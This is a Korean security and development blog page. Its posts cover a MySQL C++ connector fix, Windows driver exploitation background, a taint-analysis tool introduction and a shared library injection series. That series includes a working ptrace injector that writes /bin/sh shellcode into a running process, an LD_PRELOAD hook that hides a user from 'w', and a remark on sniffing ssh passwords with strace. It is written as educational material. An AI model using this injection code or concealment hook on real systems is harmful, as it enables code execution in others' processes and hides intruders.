'분류 전체보기'에 해당되는 글 10건

개발



일반적으로 mysql을 다룰 때 mysql connector c api를 사용한다.

이미 훌륭한 예제들도 많거니와 트러블 슈팅에 대한 자료도 많아서 사용하기에 그리 어렵지 않다.



이번에 한글문제로 기존 mysql c api로 구축된 소스를 mysql c++ api로 전환하자마자 부딪힌 문제가 바로

Commands out of sync;


mysql c api의 경우에는 이를 해결하기 위한 솔루션이 많이 검색되는데 c++ api는 아무리 검색을 해도 찾을 수가 없던 중에,

중국 친구의 블로그에서 해결 방법을 알아내게 되었다.


https://stackoverflow.com/questions/17115919/mysql-commands-out-of-sync-error-c-connector 요기와

https://www.cnblogs.com/sixbeauty/p/4798879.html 요기를 보자


요점은 stored precedure를 호출하거나 multi query의 경우에는 result를 비워줘야 한다이다.

어떤 곳에서는 이 문제를 해결하기 위해 CLIENT_MULTI_STATEMENTS 나 CLIENT_MULTI_RESULTS 를 enable 시키면 된다고 하는데,

나의 경우에는 동일한 문제가 계속 발생했다.


위의 블로그 글을 참고하여서 result가 있던 없던 무조건 아래의 소스를 추가하였더니 짠~ 하고 해결이 되어 버렸다.


while(res->next())

{

    ;

}


while(pstmt->getMoreResults())

{

    res.reset(pstmt->getResultSet());

}


// shared_ptr<sql::PreparedStatement> pstmt

// shared_ptr<sql::ResultSet> res


포인트는 getMoreResults() 이 부분인데, 왜 그런지는 잘 모르겠다.

(난 전문 개발자가 아니니까 그냥 무시하기로 했다 ㅠ_-)


어쨌든 해결;;;




Security


이 글은 Windows Device Driver에 대한 Exploit을 작성하는 방법에 대한 연재입니다.

어디까지 작성할 수 있을지는 모르겠지만 최대한 작성해 보도록 하겠습니다.


설명을 위해 존칭은 생략합니다.



Attack Vector


아래는 윈도우 아키텍쳐를 나타내는 그림이다.


https://upload.wikimedia.org/wikipedia/commons/5/5d/Windows_2000_architecture.svg


Windows NT 3.5 이전 Win32 서브 시스템은 Fast LPC를 이용하여 Operating System, Window Manager, GDI와 상호 작용하며,

Win32 API를 제공함으로써 클라이언트-서버 모델의 서버 사이드 구현인 CSRSS 프로세스와의 통신을 할 수 있도록 한다.

이를 위해 많은 부분이 성능을 위한 최적화가 이루어졌다.


하지만 이런 노력에도 불구하고 Windows NT 4.0부터는 서버 사이드 구현의 대부분을 커널 모드로 마이그레이션 해버렸는데, 커널로 옮겨진 Window Manager, GDI를 관리하기 위해 Win32k.sys가 도입되었다.


기존과는 달리 서버 사이드가 커널 모드에서 구현되었기 때문에 Win32k.sys는 커널 모드에서 사용자 모드 클라이언트로 제어를 넘겨야만 할 필요성이 생겼고, 이를 위해 사용자 모드 콜백 매커니즘이 구현되었다.

이 사용자 콜백 매커니즘은 Win32k가 호출을(제어권을) 사용자 모드로 되돌리는 역할을 한다.


따라서 전통적인 Window Kernel Exploit들은 사용자 모드 콜백 구현 부분을 공격하여 커널 모드 권한을 획득하는 것이 주류를 이루었다.(MS11-034, MS11-054).

(심지어 최근에도 사용된다.)


사용자 모드 콜백 공격을 통한 커널 모드 권한 획득에 관한 자세한 정보는 Tarjei Mandt의 Kernel Attacks through User-Mode Callbacks 를 참고하도록 한다. 

이 문서는 Windows Kernel Exploiter들이라면 반드시 읽어봐야 하는 문서이다.


사용자 모드 콜백 구현을 공격하는 것 외에 Window Kernel Exploit 방법으로 디바이스 드라이버를 직접 공격하는 것도 역시 인기있는 공격이다.

위의 그림에서 볼 수 있듯이 디바이스 드라이버는 커널 모드에서 동작하기 때문에, 만약 디바이스 드라이버의 취약점을 공격한다면 커널 모드 권한을 획득할 수 있다.

디바이스 드라이버들은 보통 3rd Party들에 의해 제공되는 경우가 많이 때문에 취약점이 존재할 확률이 상대적으로 높다.


여기서는 디바이스 드라이버를 Attack Vector로 하는 Exploit을 다루도록 한다.



Device Driver


디바이스 드라이버는 하드웨어 디바이스를 제어하기 위한 소프트웨어라고 할 수 있다.

따라서 드라이버는 디바이스와 통신을 할 수 있으며 디바이스의 데이터를 읽거나 쓸 수도 있다.


아래는 가장 간단한 형태의 드라이버 정의이다.


http://msdn.microsoft.com/dynimg/IC535114.png


위의 그림은 디바이스 드라이버의 동작을 많이 단순화 한 그림이다.

Application은 OS를 통해 드라이버 코드와 상호 작용을 하며, 드라이버 코드는 디바이스와의 통신을 통해 Application의 데이터를 디바이스까지 전달하거나 디바이스의 데이터를 Application으로 전달한다.


또 다른 형태의 드라이버를 보자.


https://i-msdn.sec.s-msft.com/dynimg/IC535115.png


위 그림처럼 모든 드라이버가 디바이스와 통신을 하는 것은 아니다.

드라이버는 계층적으로 여러 개가 존재할 수 있으며 드라이버 스택 상하의 데이터를 검증하거나 단순히 전달하는 기능만을 가지기도 한다.


아래는 사용자 모드와 커널 모드 구성 요소 간 통신을 보여주는 다이어그램이다.


https://i-msdn.sec.s-msft.com/dynimg/IC535109.png


그 외 디바이스 드라이버에 대한 자세한 설명은 아래 Microsoft의 페이지를 참고하도록 한다.

https://msdn.microsoft.com/ko-kr/library/windows/hardware/ff554690(v=vs.85).aspx



디바이스 드라이버 샘플 코드


아래는 github에 올라와 있는 디바이스 드라이버의 샘플 코드 중 일부이다.

드라이버 코드는 WDM 또는 WDF를 이용하여 작성할 수 있는데, WDM은 전통적인 드라이버 작성 방식이며 WDF는 Window Driver Foundation의 약자로 비교적 최근에 나온 프레임워크를 이용하는 방식이다.

Win32 API 와 MFC라고 생각하면 이해가 쉬울 것이다.


여기에서는 WDM 코드를 예제로 사용하며 중요한 부분만 설명하고 넘어가도록 하겠다.


아래는 ReadFile/ReadFileEx/WriteFile/WriteFileEx를 사용하지 않는 범용적인 코드 샘플이다.

(https://github.com/Microsoft/Windows-driver-samples/blob/master/general/ioctl/wdm/sys/sioctl.c)


코드를 보자.



DRIVER_INITIALIZE DriverEntry;

DRIVER_UNLOAD SioctlUnloadDriver;


DriverObject->DriverUnload = SioctlUnloadDriver;

드라이버가 로딩될 때의 진입점과 언로딩될 때의 진입점을 선언한다.

일반적으로 사용자 모드 어플리케이션의 main과 같은 역할을 하는 것이 DriverEntry이다.


_Dispatch_type_(IRP_MJ_CREATE)

_Dispatch_type_(IRP_MJ_CLOSE)

DRIVER_DISPATCH SioctlCreateClose;


DriverObject->MajorFunction[IRP_MJ_CREATE] = SioctlCreateClose;

DriverObject->MajorFunction[IRP_MJ_CLOSE] = SioctlCreateClose;


IRP는 I/O Request Packet의 약자이며 드라이버로 전송되는 요청의 대부분은 IRP 구조체를 이용해서 전달된다고 생각하면 된다.

위는 미리 정의된 IRP Type들 중 IRP_MJ_CREATE/IRP_MJ_CLOSE를 SioctlCreateClose 함수에서 처리하겠다고 선언한 것이다.

IRP_MJ_CREATE는 CreateFile()/CreateFileEx(), IRP_MJ_CLOSE는 CloseHandle()과 매핑된다.


IRP 구조체는 아래와 같다.

https://msdn.microsoft.com/ko-kr/library/windows/hardware/ff550694(v=vs.85).aspx


다음 코드를 보자.

_Dispatch_type_(IRP_MJ_DEVICE_CONTROL)

DRIVER_DISPATCH SioctlDeviceControl;


DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = SioctlDeviceControl;


역시 미리 정의된 IRP_MJ_DEVICE_CONTROL을 SioctlDeviceControl 함수에서 처리하겠다고 선언한 것이며, DeviceIoControl과 매핑된다.

이 함수는 일반적인 I/O가 아닌 드라이버를 제어하기 위한 사용자 정의 I/O Control Code를 처리하는 함수이다.


아래는 미리 정의된 Major IRP들의 리스트다.

https://msdn.microsoft.com/en-us/library/windows/hardware/ff550710(v=vs.85).aspx


코드의 다음 부분을 보자.

IoCreateDevice 함수를 이용해 디바이스를 생성한다.

Device type에 따라 여러 종류의 디바이스를 생성할 수 있는데 자세한 것은 MSDN을 참고하기 바란다.

예제 코드에서는 FILE_DEVICE_UNKNOWN을 사용했다.


NT Device name과 Win32 Name 간 Symbolic link를 생성한다.

디바이스는 NT Device name과 Win32 Name를 모두 가져야 하며, 사용자 모드 어플리케이션에서 접근하기 위한 용도로 사용된다.


IRP_MJ_READ / IRP_MJ_WRITE에 대해 어떤 처리도 없이 STATUS_SUCCESS를 반환한다.

(사용자 모드 어플리케이션에서는 ReadFile(Ex) / WriteFile(Ex)를 사용하지 않는다.)


아래는 IRP를 다루는 부분이다.

IoGetCurrentIrpStackLocation() 함수를 이용해 I/O Stack Location에 포함된 IO_STACK_LOCATION 구조체의 구조체의 포인터를 가져온다.

즉, 사용자 모드 어플리케이션에서 IRP 구조체를 이용해서 전달된 정보를 가져오기 위함이며,

모든 드라이버는 현재 request의 파라미터를 얻기 위해서 각 IRP에 대해 이 함수를 반드시 호출해야만 한다.

이후 획득한 포인터를 이용해 사용자 모드 어플리케이션에서 전달된 입/출력 버퍼의 길이를 얻어온다.


아래는 드라이버 코드에서 가장 중요한 부분이다.

switch ( irpSp->Parameters.DeviceIoControl.IoControlCode )

case IOCTL_SIOCTL_METHOD_BUFFERED:

case IOCTL_SIOCTL_METHOD_NEITHER:

case IOCTL_SIOCTL_METHOD_IN_DIRECT:

바로 위의 코드에서 IRP를 이용해 사용자 모드 어플리케이션에서 전달된 입/출력 버퍼의 길이를 얻어왔다.

사용자 모드 어플리케이션에서 버퍼를 통해 전달된 데이터를 처리하는 방식은 IoControlCode로 구분하며 위와 같이 3가지 종류가 있다.

IoControlCode에 종류에 따라 참고해야 할 버퍼의 위치와 처리 방식이 다르기 때문에 유의해야 하는 부분이다.


1) METHOD BUFFERED

METHOD BUFFERED 방식은 일반적으로 작은 양의 데이터를 전송할 경우에 사용되며 버퍼를 이용해 데이터를 전달하는 방식이다.

사용자 모드 어플리케이션에서 전달된 데이터는 시스템 주소 공간의 임시 영역으로 복사되며 드라이버는 해당 공간의 포인터를 사용한다.

해당 버퍼의 위치는 Irp->AssociatedIrp.SystemBuffer이다.


2) METHOD DIRECT (METHOD_IN_DIRECT & METHOD_OUT_DIRECT)

METHOD_IN_DIRECT의 경우 입력 버퍼는 METHOD BUFFERED와 동일하게 Irp->AssociatedIrp.SystemBuffer를 사용하는 반면 출력 버퍼는 MDL을 이용한다.

이 방식은 MDL 생성 시의 overhead는 있지만 별도의 데이터 복사 작업이 없어서 대용량 데이터 전달에 일반적으로 사용된다.


MDL는 Memory Descriptor List의 약자로써, 사용자 모드 페이지를 커널 모드 메모리로 매핑시키는데 사용되는 구조체이다.

이를 위해 사용되는 함수가 MmGetSystemAddressForMdlSafe이며 해당 함수의 리턴 값은 해당 함수에 전달된 사용자 모드 버퍼에 매핑되는 커널 모드 메모리 주소이다. 사용자 모드 어플리케이션과 디바이스 드라이버가 사용하는 가상 주소는 다르지만 실제 가상 주소가 매핑되는 물리 어드레스는 동일하게 된다.


METHOD_OUT_DIRECT의 경우 위와 같이 METHOD_IN_DERECT보다 추가되는 코드가 있다. 바로 MDL에 디바이스에서 사용자 모드 어플리케이션으로 보내고자 하는 데이터를 쓰는 것이다.


3) METHOD NEITHER

METHOD_NEITHER은 앞의 방식들에 비해서 좀 독특한데, 데이터를 보내는 것이 아니라 단순히 사용자 모드 버퍼의 주소를 보내기만 한다.

드라이버는 위의 코드에서 보듯이 Type3InputBuffer를 통해 전달된 사용자 모드 버퍼의 주소에 접근하여야 한다.

따라서 드라이버는 해당 주소에 접근하기 전 아래와 같이 해당 주소가 유효한 주소인지 반드시 확인해야만 한다.



예제에는 없지만 쓰기 전에도 역시 유효한 주소인지 반드시 확인해야만 하며 ProbeForWrite() 함수를 사용한다.


예제에서는 사용자 버퍼 주소로의 직접 접근 외에 MDL을 통해 안전하게 접근하는 방법이 추가되어 있으며 내용은 DIRECT METHOD 때와 동일하므로 생략하도록 한다.


이상으로 디바이스 드라이버 샘플 코드에 대한 간단한 분석을 마친다.

자세한 내용은 이봉석님의 입문자를 위한 디바이스 드라이버 시리즈를 볼 것을 추천한다.

(https://www.youtube.com/watch?v=jsXHLMDIokM)



다음 포스트에는  취약한 드라이버들을 공략해 보도록 하겠다.



'Security' 카테고리의 다른 글

Shared Library Injection (3)  (0) 2016.08.02
Shared Library Injection (2)  (0) 2016.07.25
Shared Library Injection (1)  (0) 2016.07.18
개발


구글 애드센스 게재 기념 새로운 포스트 시리즈를 작성하려 합니다.

이름하야 보안 정적 소스코드 분석기 만들기!!!


어디까지 진행될지는 모르겠지만 Java를 대상으로 틈날 때마다 조금씩 작성해 보겠습니다.



Static Analysis vs Dynamic Analysis


Static Analysis는 대상 프로그램의 실행 없이 프로그램을 분석하는 것을 의미합니다. Dynamic Analysis는 반대로 프로그램을 실행하면서 프로그램을 분석하는 것이 되겠죠.

전자의 경우 코드 작성 후 리팩토링을 한다거나, 코드 작성 중에 에러를 수정하는 등이 포함되고 후자의 경우 리버싱이나 퍼징 등이 포함됩니다.

사실 이건 이거다라고 정확하게 구분짓기가 모호하기 때문에 의미 정도만 알고 있는 것이 좋습니다. ^^;


두 방법은 서로 장단점을 가지고 있습니다.

예를 들어 Dynamic Analysis의 경우 어떤 값이 입력되었을 때의 출력 값이 명확하기 때문에 출력되는 값을 기반으로 여러가지 테스트를 할 수 있지만 실행되지 않는 코드에 대한 테스트는 불가능합니다.

반면 Static Analysis의 경우 코드로만 판단해야 하기 때문에 출력 값을 기반으로 하는 테스트가 어렵지만, 대신 빠르고 폭 넓은 테스트가 가능합니다.


이런 장단점이 있기 때문에 어느 방식이 더 좋다라고는 말할 수 없습니다.

Static Analysis의 경우 단점을 극복하기 위해 Symbolic Execution이나 Concolic Execution 같은 분석 방법을 사용하기도 합니다.


우리가 만들어 볼 것은 Static Analysis에 기반한 Analyzer입니다.



사람 vs 기계


분석 방법과 더불어 분석하는 주체가 사람이냐 기계냐에 따라서도 장단점이 나뉘어 집니다.

아시다시피 기계의 경우 빠른 속도, 쉬지 않고 일하는 장점이 있는 반면 오탐과 과탐이 많습니다.

사람의 경우는 아무래도 퍼포먼스 이슈가 빠지지 않죠.


예를 들어 String asdf = korkf0*a_21 와 같은 문자열이 있다고 가정해봅시다.

사람이라면 문자열을 보자마자 어딘가에 사용되는 암호화 key 라던가, 패스워드가 아닌지 의심할 수 있습니다.

반면 기계의 경우 password와 유사한 단어가 매칭되는 것도 아니고, 패턴이 digit로 이루어져 있지도 않고 신용카드, 주민등록번호 패턴과도 매칭되지 않아 무시할 확률이 높습니다.


사람이 눈으로 보자마자 정보를 인식하고 판단하는 정도로 기계가 동작하려면 요즘 유행하는 AI가 제대로 발전해야 하지 않을까 싶습니다. 따라서 대부분의 Static Analyzer들은 오탐/과탐/미탐 확률이 높습니다.




Taint Analysis 


앞으로 만들어 볼 Static Code Analyzer는 전통적인 Taint Analysis 방법을 사용할 겁니다.

Taint Analysis는 입력 값이 오염되었다고 가정하고 입력 값의 흐름에 포함된 모든 코드들도 역시 오염된 것으로 간주하여 분석하는 방법입니다.

이런 분석 방법을 사용하는 유명한 리버싱 툴로는 Pin이 있으며 Pin은 Taint Analysis를 적용해 Dynamic Analysis 를 합니다.




Control Flow Graph


Taint Analysis를 위해서는 입력 값이 흘러가는 길을 알고 있어야 합니다.

Control Flow Graph는 Basic Block라고 하는 Node들로 이루어진 그래프입니다. 여기서 Basic Block는 분기가 없는 코드의 흐름을 의미합니다.

예를 들어 Control Flow Graph는 아래와 같이 표현됩니다.


[http://www.drgarbage.com/control-flow-graph-factory/] 에서 발췌


위와 같이 Control Flow Graph가 완성되면 입력 값의 흐름을 추적할 수 있게 됩니다.


이제 이 배경지식을 가지고 다음 포스트에서 실제 프로그램을 만들어보도록 하겠습니다.



읽어주셔서 감사합니다.



'개발' 카테고리의 다른 글

Commands out of sync 문제  (0) 2017.11.27
따라하는 python 로또 분석(4)  (0) 2016.07.11
따라하는 python 로또 분석(3)  (0) 2016.07.04
따라하는 python 로또 분석(2)  (0) 2016.06.28
따라하는 python 로또 분석 (1)  (0) 2016.06.21
Security



Shared Library Injection 세 번째 포스트입니다.

이전 글은 아래의 링크에서 확인하시기 바랍니다.



2016/07/18 - [Security] - Shared Library Injection (1)

2016/07/12 - [Security] - Shared Library Injection (2)



이번 포스트는 ptrace 를 이용한 shared library injection에 대해 알아보도록 하겠습니다.


ptrace는 앞의 포스트에서 잠시 등장했던 strace, ltrace와는 달리 프로그램이 아니라 리눅스에서 지원하는 시스템 콜입니다.

ptrace의 함수 원형은 아래와 같습니다.


long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);


사용자는 _ptrace_request 값들을 이용하여 다른 프로세스의 실행을 관찰 또는 제어하는 것이 가능합니다.

_ptrace_request 값들은 아래와 같습니다.



PTRACE_TRACEME

자기 자신을 추적 가능하도록 만드며, 부모 프로세스에 의해 추적되는 것을 나타냅니다.


PTRACE_PEEKTEXT, PTRACE_PEEKDATA

자식 프로세스의 주어진 주소의 WORD를 읽어 리턴합니다. 


PTRACE_PEEKUSER

자식 프로세스의 USER 영역 주소의 WORD를 읽어 리턴합니다.


PTRACE_POKETEXT, PTRACE_POKEDATA

부모 프로세스 메모리 주소에서 자식 프로세스 메모리 주소로 WORD를 복사합니다.


PTRACE_POKEUSER

부모 프로세스 메모리 주소에서 자식 프로세스 주소의 USER 영역으로 WORD를 복사합니다.


PTRACE_GETREGS, PTRACE_GETFPREGS

자식 프로세스의 레지스터들을 부모 프로세스 data 위치로 복사합니다.


PTRACE_SETREGS, PTRACE_SETFPREGS

부모 프로세스의 data 위치에서 레지스터들을 자식 프로세스로 복사합니다.


PTRACE_CONT

자식 프로세스를 다시 시작합니다.


PTRACE_SYSCALL, PTRACE_SINGLESTEP

자식 프로세스를 다시 시작한 후 인스트럭션 하나를 실행하고 다시 멈춥니다.


PTRACE_KILL

자식 프로세스에게 SIG_KILL을 보냅니다.


PTRACE_ATTACH

지정 프로세스의 부모 프로세스로 ATTACH 합니다.


PTRACE_DETACH

ATTACH된 자식 프로세스를 DETACH 합니다.


참고: http://linux4u.kr/manpage/ptrace.2.html



PTRACE의 ATTACH, PEEK, POKE, SINGLESTEP, DETACH를 이용하면 다른 프로세스에 shared library injection이 가능합니다.


먼저 code injection을 할 대상 테스트 프로그램을 아래와 같이 만듭니다.


#include <iostream>
#include <thread>
#include <chorono>

int main()
{
    unsigned long count = 1;
    std::cout << "server start" << std::endl;
    while(true)
    {
        std::cout << "server running " << count << std::endl;
        std::this_thread::sleep_for(std::chrono::seconds(10));
        count++;
    }

    std::cout << "server stop" << std::endl;
}

위의 테스트 프로그램은 10초당 한번 메세지를 출력하는 프로그램입니다.

해당 프로그램을 빌드하여 실행시키면 아래와 같습니다.



이 테스트 프로그램에 Code Injection을 실행해 임의의 코드를 실행해 보도록 하겠습니다.



Code Injection 프로그램을 하나씩 만들어 보도록 하겠습니다.

먼저 ptrace를 이용해 attach와 detach를 해야 합니다.


#include <iostream>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <wait.h>
#include <string.h>


int main(int argc, char *argv[])
{   
    const pid_t pid = std::atoi(argv[1]);
    
    //
    // Attach
    //
    
    int waitpidstatus = 0;
    
    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1)
    {   
        std::cerr << "PTRACE_ATTACH failed" << std::endl;
        return -1;
    }
    std::cout << "Inject Success To " << std::to_string(pid) << std::endl;
    
    if(waitpid(pid, &waitpidstatus, WUNTRACED) != pid)
    {   
        std::cerr << "waitpid(" << pid << ") failed" << std::endl;
        return -1;
    }


    //
    // Detach
    //
    ptrace(PTRACE_DETACH, pid, 0, 0);


    return 0;
}


먼저 PTRACE_ATTACH를 이용해 테스트 프로그램에 Attach를 시도합니다.

Attach가 성공하면 해당 프로세스로부터 상태 정보를 얻어옵니다.

WUNTRACED 옵션은 종료되거나 멈춘 프로세스로부터 상태정보를 얻어오는 옵션입니다.

상태정보를 얻어오는데까지 성공하면 PTRACE_DEACH를 이용해 Detach를 합니다.


위 프로그램을 컴파일하여 테스트 프로그램에 Injection한 결과는 아래와 같습니다.




테스트 프로세스에 Attach, Deatch가 성공했으니 이제 조금 더 살을 붙여보겠습니다.

이번에는 Attach 되어 잠시 중지된 프로세스의 레지스터 값을 가져오도록 하겠습니다.



#include <iostream>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <wait.h>
#include <string.h>

int main(int argc, char *argv[])
{
    const pid_t pid = std::atoi(argv[1]);

    
    //
    // Attach
    //

    int waitpidstatus = 0;
    
    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1)
    {
        std::cerr << "PTRACE_ATTACH failed" << std::endl;
        return -1;
    }
    std::cout << "Inject Success To " << std::to_string(pid) << std::endl;
    
    if(waitpid(pid, &waitpidstatus, WUNTRACED) != pid)
    {
        std::cerr << "waitpid(" << pid << ") failed" << std::endl;
        return -1;
    }

    
    //
    // Get Register Info
    //
    struct user_regs_struct regs;
    memset(®s, 0x0, sizeof(struct user_regs_struct));
    if(ptrace(PTRACE_GETREGS, pid, 0, ®s) == -1)
    {
        std::cerr << "PTRACE_GETREGS failed" << std::endl;
        return -1;
    }

    std::cout << "rip: " << std::hex << regs.rip << std::endl;

    ptrace(PTRACE_DETACH, pid, 0, 0);

    return 0;
}


레지스터 정보를 가져오기 위해 PTRACE_GETREGS 옵션을 사용했습니다.

해당 옵션을 이용해 user_regs_struct 구조체 변수에 해당 프로세스의 모든 레지스터 정보를 가져옵니다.



위 프로그램을 실행한 결과는 아래와 같습니다.

Attach에 의해 잠시 멈춘 프로세스의 RIP를 출력하고 있습니다.




자, 여기까지 왔으니 이제 끝이 보이기 시작합니다.

마지막으로 코드를 삽입하고 실행시키기만 하면 됩니다.

완성된 코드는 아래와 같습니다.


#include <iostream>
#include <memory>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <wait.h>
#include <string.h>

// run /bin/sh
unsigned char code[] = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f"
                       "\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57"
                       "\x54\x5f\x6a\x3b\x58\x0f\x05";

#define offsetof(TYPE, MEMBER) ((unsigned long) &((TYPE *)0)->MEMBER)

int main(int argc, char *argv[])
{
    const pid_t pid = std::atoi(argv[1]);


    //
    // Attach
    //

    int waitpidstatus = 0;

    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1)
    {
        std::cerr << "PTRACE_ATTACH failed" << std::endl;
        return -1;
    }
    std::cout << "Inject Success To " << std::to_string(pid) << std::endl;

    if(waitpid(pid, &waitpidstatus, WUNTRACED) != pid)
    {
        std::cerr << "waitpid(" << pid << ") failed" << std::endl;
        return -1;
    }


    //
    // Get Register Info
    //

    struct user_regs_struct regs;
    memset(®s, 0x0, sizeof(struct user_regs_struct));
    if(ptrace(PTRACE_GETREGS, pid, 0, ®s) == -1)
    {
        std::cerr << "PTRACE_GETREGS failed" << std::endl;
        return -1;
    }

    std::cout << "rip: " << std::hex << regs.rip << std::endl;

    //
    // Set Buffer to Shellcode
    //

    const std::size_t codeLength = sizeof(code);
    std::unique_ptr buffer(new char[codeLength]);

    memset(buffer.get(), 0x0, codeLength);
    memcpy(buffer.get(), code, sizeof(code));

    //
    // Write shellcode to target process
    //

    for(unsigned int i = 0; i < sizeof(code); i++)
    {
        ptrace(PTRACE_POKETEXT, pid, regs.rip + i, *(int*)(buffer.get() + i));
    }
    std::cout << "Code Inject Success" << std::endl;

    //
    // Detach
    //

    ptrace(PTRACE_DETACH, pid, 0, 0);


    return 0;
}


/bin/sh를 실행시키는 shellcode를 선언하고 char형 buffer에 복사합니다.

Attach된 프로세스의 rip가 가리키는 주소에 shellcode를 차례로 복사합니다.

그리고 프로세스를 Detach 합니다.


이제 테스트 프로세스가 다시 시작될 때 rip가 가리키는 shellcode를 실행하게 됩니다.


아래는 해당 프로그램의 실행 결과 입니다.



성공적으로 Code를 Injection 하였습니다.


지금까지 살펴본 방법을 이용하여 Shared library를 로딩하는 shellcode를 삽입하면 Shared library injection이 됩니다.

해당 방법에 대한 잘 만들어진 예제는 아래를 참고하시기 바랍니다.

https://github.com/gaffe23/linux-inject/blob/master/inject-x86_64.c



완성된 코드는 아래에 올려두었습니다.

main.cpp



이번 포스트는 여기서 마치도록 하겠습니다.

읽어주셔서 감사합니다.






'Security' 카테고리의 다른 글

how to exploit window kernel (1)  (0) 2017.07.21
Shared Library Injection (2)  (0) 2016.07.25
Shared Library Injection (1)  (0) 2016.07.18
Security


2016/07/18 - [Security] - Shared Library Injection (1)




이전 글에 이어서 Shared Library Injection에 대해 알아보도록 하겠습니다.


이번 포스트에서는 일명 "공유 라이브러리 후킹"이라고 불리는 LD_PRELOAD을 이용한 방법에 대해 알아볼까 합니다.

사실 LD_PRELOAD를 이용하는 것은 리눅스에서 허용하는 정상적인 방법이기 때문에 공격이라고 보기는 어렵습니다.



프로그램이 실행되면서 실행에 필요한 shared library 들이 차례로 프로세스의 주소 공간으로 로딩되기 시작하는데, 만약 해당 실행 코드에 대한 라이브러리가 이미 로딩되어 있을 경우 로딩된 코드를 참조하고 없을 경우에만 로딩합니다.

따라서 동일한 코드가 여러 라이브러리에 분산되어 있더라도 가장 먼저 로딩된 코드만 사용하게 됩니다.


shared library가 로딩되는 순서는 일반적으로 다음과 같습니다.


DYNAMIC_SECTION의 NEED가 설정된 라이브러리

LD_LIBRARY_PATH

/etc/ld.so.conf

/lib, /usr/lib와 같은 표준 라이브러리 경로



DYNAMIC_SECTION

DYNAMIC_SECTION은 EFL 파일 시스템에 설정되어 있고 우선 순위가 가장 높습니다.

일반적으로 libc들이 여기에 속해 있습니다. 



LD_LIBRARY_PATH

LD_LIBRARY_PATH는 환경변수이고 라이브러리가 존재하는 경로를 추가할 수 있습니다.



/etc/ld.so.conf

/etc/ld.so.conf 파일을 열어보면 아래와 같이 /etc/ld.so.conf.d 디렉토리 하위의 모든 *.conf를 포함하도록 되어 있습니다.



해당 디렉토리에는 위와 같은 파일들이 있고, 해당 파일들은 또 아래와 같이 shared library가 존재하는 디렉토리의 경로를 포함하고 있습니다.



ld.so 또는 ld-linux.so 같은 런타임 링커는 캐시된 데이터를 참조해서 라이브러리의 경로를 파악하며 이 파일은 /etc/ld.so.cache 입니다.

해당 파일은 아래와 같이 file type은 data로 되어 있고 strings 로 열어보면 /etc/ld.so.conf.d/*.conf 파일들의 경로 내 shared library들이 포함되어 있습니다.




LD_PRELOAD


만약 LD_PRELOAD 환경 변수를 지정할 경우 프로세스는 다른 어떤 라이브러리보다도 먼저 이 환경변수에 설정된 라이브러리를 로딩하게 됩니다.


앞에서 이야기했듯이 라이브러리가 먼저 로딩되어 있다면 다음 라이브러리는 무시되고 로딩되지 않습니다. 즉 LD_PRELOAD 환경 변수를 이용하면 동일한 이름의 함수들이 로딩되기 전에 해당 함수를 오버라이딩 하는 것이 가능하게 되는 것입니다.



만약 LD_PRELOAD를 이용하여 libc의 함수들을 오버라이딩 할 수 있다면 여러가지 재밌는 일을 할 수가 있는데요, w 명령 결과에서 특정 사용자를 감추는 것을 한번 해보도록 하겠습니다.


아래는 정상적인 상황에서의 w 명령어 결과이며 현재 로그인 한 사용자인 ubuntu가 보여지는 것을 확인할 수 있습니다.




w 명령 실행 시 어떠한 일이 일어나는지 ltrace를 이용해 한번 알아보면,



...이렇습니다.


ltrace는 library call tracer로써 프로그램 실행 시 동적 호출되는 라이브러리와 시그널을 추적하는 프로그램입니다. 비슷한 프로그램으로 strace는 시스템 콜과 시그널을 추적합니다. 

root를 획득한 해커가 패스워드 크랙이 잘 안될 때 strace를 telnet이나 ssh에 걸어서 패스워드를 빼내기도 합니다. ^^;


어쨌든 ltrace 프로그램을 이용하면 w 프로그램 실행 후 터미널에 현재 로그인 한 사용자가 출력되기 전에 호출되는 라이브러리 함수들을 볼 수 있습니다. 

위의 화면에서 잘 보시면 중간쯤에 보면 strncpy 함수가 보이는데요, 이 함수에 ubutu라는 사용자 이름이 어딘가에 복사된 후 출력이 되는 것을 알 수 있습니다. 이 함수를 오버라이딩 해서 ubuntu 사용자의 목록을 지워보도록 하겠습니다.


우리가 오버라이딩 해야 할 strncpy 함수의 원형은 아래와 같습니다.

char *strncpy(char *dest, const char *src, size_t n);



이제 이 함수를 오버라이딩 해 보도록 하겠습니다.


original strncpy 함수에 대한 함수 포인터를 org_strncpy 라는 이름으로 선언합니다.

insert code 라는 주석 아래에 ubuntu 사용자에 대한 처리를 하는 코드가 들어간 후 original strncpy 함수를 호출하면 됩니다.


ubuntu 사용자에 대한 처리를 하는 코드를 넣은 완성된 라이브러리 코드는 아래와 같습니다.




아래와 같이 컴파일을 해서 라이브러리를 생성합니다.



자, 이제 생성된 라이브러리와 LD_PRELOAD 환경 변수를 이용해 w 프로그램을 실행시켜 보도록 하겠습니다.

짜잔~



원하는 결과를 확인할 수 있습니다~~



libc 내 함수만 후킹이 가능한 것일까?



자, 여기서 한가지 의문이 드는 것은 "LD_PRELOAD를 이용할 경우 libc 함수만 후킹이 가능한 걸까" 입니다.

결론부터 말씀드리면 함수명만 알 수 있다면 어떤 함수라도 가능합니다.

물론 함수명을 알아내는 것은 또 다른 일이기는 합니다. ^^;



지금까지 LD_PRELOAD를 이용한 shared library injection에 대해 알아보았습니다.

전체 소스는 아래에 올려두었습니다.

my_strncpy.cpp




이번 포스트는 여기서 마치도록 하겠습니다.


읽어 주셔서 감사합니다.








'Security' 카테고리의 다른 글

how to exploit window kernel (1)  (0) 2017.07.21
Shared Library Injection (3)  (0) 2016.08.02
Shared Library Injection (1)  (0) 2016.07.18
Security


Library란?


라이브러리란 보통 실행파일과 같이 실행되는 서브 루틴들을 별도로 분리해 놓은 것이라고 할 수 있습니다.

실행 파일과 라이브러리 파일을 분리하는 이유는 유지 보수가 쉽고, 공동 개발 시 개발 시간 단축이 가능한 것과 같은 여러가지 장점이 있기 때문입니다.


이런 라이브러리들은 크게 두 종류로 나뉘어집니다.


1. Static Library


